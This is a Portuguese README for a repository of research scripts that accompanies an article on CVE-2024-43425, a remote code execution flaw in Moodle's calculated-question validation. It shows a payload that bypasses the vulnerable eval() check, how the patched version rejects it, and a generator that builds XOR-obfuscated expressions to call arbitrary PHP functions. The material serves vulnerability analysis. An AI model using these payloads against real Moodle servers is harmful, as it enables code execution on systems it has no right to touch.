
Scripts para Análise de uma RCE em Questões Calculadas do Moodle (CVE-2024-43425)
Este repositório contém os scripts de apoio ao artigo De Volta às Aulas - Explorando uma Vulnerabilidade de Execução Remota de Código no Moodle, que descreve uma vulnerabilidade de execução remota de código na plataforma de aprendizagem Moodle.
Os scripts no diretório validation podem ser usados para testar strings de entrada diretamente contra a lógica de validação usada pelo Moodle para evitar o abuso de uma chamada ao eval() do PHP.
Todos os trechos de código foram diretamente adaptados do código-fonte do Moodle, usando a versão 4.4.1 para a versão vulnerável e a 4.4.2 para a versão corrigida.
Os scripts incluem as partes relevantes do arquivo question/type/calculated/questiontype.php.
O arquivo validation.php usa a lógica de validação vulnerável:
$ php validation.php '(1)->{phpinfo()}'
phpinfo()
PHP Version => 8.3.10
[...]
Este repositório também inclui a versão corrigida do código de validação em validation-fixed.php:
$ php validation-fixed.php '(1)->{phpinfo()}'
error illegalformulasyntax with value: {phpinfo()}
[...]
O script xor-generator.py pode ser usado para gerar expressões baseadas em funções variáveis, que permitem chamar funções PHP arbitrárias com um único parâmetro numérico em versões vulneráveis do Moodle:
$ ./xor-generator.py 'PRINTF'
((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))
$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))("Test");'
Test